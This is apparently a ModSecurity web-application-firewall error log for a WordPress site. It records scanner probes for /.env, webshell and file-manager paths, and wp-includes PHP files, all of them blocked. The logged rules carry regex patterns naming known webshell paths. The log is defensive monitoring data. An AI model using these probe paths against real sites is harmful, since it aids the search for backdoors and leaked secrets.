[Sat Feb 28 05:51:14.302590 2026] [:error] [pid 39185:tid 39249] [client 20.220.212.70:2901] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaIR0hVE-FfM89u7BQZAdgAAAIM"]
[Sat Feb 28 06:18:56.168366 2026] [:error] [pid 39184:tid 39227] [client 91.224.92.164:19069] [client 91.224.92.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aaIYUFtZF9Zd_U7easA4DgAAAEg"]
[Sat Feb 28 06:31:02.757254 2026] [:error] [pid 39183:tid 39200] [client 49.233.45.47:41826] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaIbJhCf4HvhVePw3LZvMQAAAAg"]
[Sat Feb 28 06:42:28.677739 2026] [:error] [pid 39292:tid 39309] [client 40.80.89.74:9004] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaId1KIAO5fN7BxyqcF0pQAAAM8"]
[Sat Feb 28 06:42:29.239121 2026] [:error] [pid 11791:tid 11798] [client 40.80.89.74:4932] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaId1WuX5e1Q32gqxH2xLwAAAQU"]
[Sat Feb 28 06:42:29.804516 2026] [:error] [pid 39184:tid 39241] [client 40.80.89.74:4989] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaId1VtZF9Zd_U7easA-8gAAAFY"]
[Sat Feb 28 06:42:30.381191 2026] [:error] [pid 22194:tid 22213] [client 40.80.89.74:9010] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaId1n6mbajs3bzQGysIFwAAAVE"]
[Sat Feb 28 07:36:12.086126 2026] [:error] [pid 39183:tid 39202] [client 20.220.196.236:14208] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaIqbBCf4HvhVePw3LZ9lgAAAAo"]
[Sat Feb 28 07:36:13.495798 2026] [:error] [pid 22194:tid 22196] [client 20.220.196.236:14307] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaIqbX6mbajs3bzQGyswDQAAAUA"]
[Sat Feb 28 07:36:14.919111 2026] [:error] [pid 22194:tid 22201] [client 20.220.196.236:14318] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaIqbn6mbajs3bzQGyswHwAAAUU"]
[Sat Feb 28 07:36:16.344158 2026] [:error] [pid 39185:tid 39270] [client 20.220.196.236:14305] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaIqcBVE-FfM89u7BQZl9gAAAJg"]
[Sat Feb 28 07:53:16.083692 2026] [autoindex:error] [pid 22194:tid 22206] [client 37.60.228.196:59802] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 28 08:38:57.370201 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.29:49749] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "aaI5IWuX5e1Q32gqxH0HFQAAAQI"]
[Sat Feb 28 08:39:08.534176 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.23:55421] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/zMousse/otuz1.php"] [unique_id "aaI5LH6mbajs3bzQGyuE7QAAAUc"]
[Sat Feb 28 08:39:09.416477 2026] [:error] [pid 11791:tid 11806] [client 173.244.55.31:43341] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/zMousse/otuz1.php"] [unique_id "aaI5LWuX5e1Q32gqxH0HZQAAAQ0"]
[Sat Feb 28 08:39:10.739924 2026] [:error] [pid 39185:tid 39262] [client 173.244.55.29:57135] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/edit-wolf.php"] [unique_id "aaI5LhVE-FfM89u7BQaShwAAAJA"]
[Sat Feb 28 08:39:12.062406 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.30:25125] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/ubh/up.php"] [unique_id "aaI5MGuX5e1Q32gqxH0HhwAAAQQ"]
[Sat Feb 28 08:39:16.609437 2026] [:error] [pid 39292:tid 39294] [client 173.244.55.21:29221] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaI5NKIAO5fN7BxyqcEahgAAAMA"]
[Sat Feb 28 08:39:18.430254 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.23:26329] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/kill.php"] [unique_id "aaI5NqIAO5fN7BxyqcEalgAAANM"]
[Sat Feb 28 08:39:19.796171 2026] [:error] [pid 39183:tid 39209] [client 173.244.55.25:40215] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaI5NxCf4HvhVePw3LaYMwAAABE"]
[Sat Feb 28 08:39:20.673288 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.21:20227] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaI5OGuX5e1Q32gqxH0IAQAAAQo"]
[Sat Feb 28 08:39:24.275461 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.25:52439] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaI5PKIAO5fN7BxyqcEa9QAAAMg"]
[Sat Feb 28 08:39:26.476028 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.28:37923] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaI5PqIAO5fN7BxyqcEbKwAAAMM"]
[Sat Feb 28 08:39:29.999097 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.29:49861] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaI5QaIAO5fN7BxyqcEbiQAAANM"]
[Sat Feb 28 08:39:31.325170 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.25:50169] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaI5Q6IAO5fN7BxyqcEbrwAAAMg"]
[Sat Feb 28 08:39:32.205754 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.20:58293] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaI5RKIAO5fN7BxyqcEbzQAAAMs"]
[Sat Feb 28 08:39:33.085616 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.29:41007] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaI5RaIAO5fN7BxyqcEb5wAAAM0"]
[Sat Feb 28 08:39:33.971185 2026] [:error] [pid 22194:tid 22209] [client 173.244.55.21:46639] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaI5RX6mbajs3bzQGyuGFAAAAU0"]
[Sat Feb 28 08:39:34.850814 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.29:65205] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaI5RmuX5e1Q32gqxH0IYQAAARU"]
[Sat Feb 28 08:39:36.175515 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.31:51855] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaI5SKIAO5fN7BxyqcEcQwAAAMM"]
[Sat Feb 28 08:39:37.060638 2026] [:error] [pid 39183:tid 39210] [client 173.244.55.26:65419] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inc.php"] [unique_id "aaI5SRCf4HvhVePw3LaYbgAAABI"]
[Sat Feb 28 08:39:38.827453 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.22:50287] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aaI5Sn6mbajs3bzQGyuGYgAAAVQ"]
[Sat Feb 28 08:39:40.158415 2026] [:error] [pid 22194:tid 22200] [client 173.244.55.23:22333] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/admin.php"] [unique_id "aaI5TH6mbajs3bzQGyuGggAAAUQ"]
[Sat Feb 28 08:39:41.471649 2026] [:error] [pid 39292:tid 39315] [client 173.244.55.22:21767] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaI5TaIAO5fN7BxyqcEcvwAAANU"]
[Sat Feb 28 08:39:42.358271 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.20:39929] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaI5Tn6mbajs3bzQGyuGoQAAAUs"]
[Sat Feb 28 08:39:43.687069 2026] [:error] [pid 11791:tid 11806] [client 173.244.55.21:46849] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaI5T2uX5e1Q32gqxH0IjQAAAQ0"]
[Sat Feb 28 08:39:44.570960 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.31:60223] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function.php"] [unique_id "aaI5UKIAO5fN7BxyqcEdAwAAANI"]
[Sat Feb 28 08:39:45.884582 2026] [:error] [pid 39184:tid 39239] [client 173.244.55.30:25869] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaI5UVtZF9Zd_U7easBz2wAAAFQ"]
[Sat Feb 28 08:39:47.654291 2026] [:error] [pid 39183:tid 39206] [client 173.244.55.31:24915] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/upload/css.php"] [unique_id "aaI5UxCf4HvhVePw3LaYfAAAAA4"]
[Sat Feb 28 08:39:51.936016 2026] [:error] [pid 22194:tid 22220] [client 173.244.55.29:22789] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaI5V36mbajs3bzQGyuG_gAAAVg"]
[Sat Feb 28 08:39:53.243193 2026] [:error] [pid 39185:tid 39247] [client 173.244.55.22:46699] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaI5WRVE-FfM89u7BQaTlAAAAIE"]
[Sat Feb 28 08:39:54.564595 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.23:44237] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaI5WqIAO5fN7BxyqcEdkAAAAMs"]
[Sat Feb 28 08:39:56.339690 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.26:59985] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaI5XKIAO5fN7BxyqcEdqAAAAMY"]
[Sat Feb 28 08:39:57.677069 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.29:55387] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaI5XX6mbajs3bzQGyuHRgAAAUU"]
[Sat Feb 28 08:39:59.427504 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.20:29999] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aaI5X2uX5e1Q32gqxH0JMwAAAQ4"]
[Sat Feb 28 08:40:00.746106 2026] [:error] [pid 39185:tid 39247] [client 173.244.55.22:59187] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function/function.php"] [unique_id "aaI5YBVE-FfM89u7BQaT2gAAAIE"]
[Sat Feb 28 08:40:01.632079 2026] [:error] [pid 39292:tid 39298] [client 173.244.55.22:28259] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/function/function.php"] [unique_id "aaI5YaIAO5fN7BxyqcEd8AAAAMQ"]
[Sat Feb 28 08:40:02.956634 2026] [:error] [pid 11791:tid 11798] [client 173.244.55.30:21557] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaI5YmuX5e1Q32gqxH0JZAAAAQU"]
[Sat Feb 28 08:40:04.279716 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.28:57539] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaI5ZH6mbajs3bzQGyuHpAAAAUs"]
[Sat Feb 28 08:40:05.626152 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.26:40673] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaI5ZX6mbajs3bzQGyuH0AAAAU4"]
[Sat Feb 28 08:40:06.526922 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.23:37597] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaI5Zn6mbajs3bzQGyuH7wAAAU4"]
[Sat Feb 28 08:40:07.400264 2026] [:error] [pid 39183:tid 39197] [client 173.244.55.28:48811] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaI5ZxCf4HvhVePw3LaYqAAAAAU"]
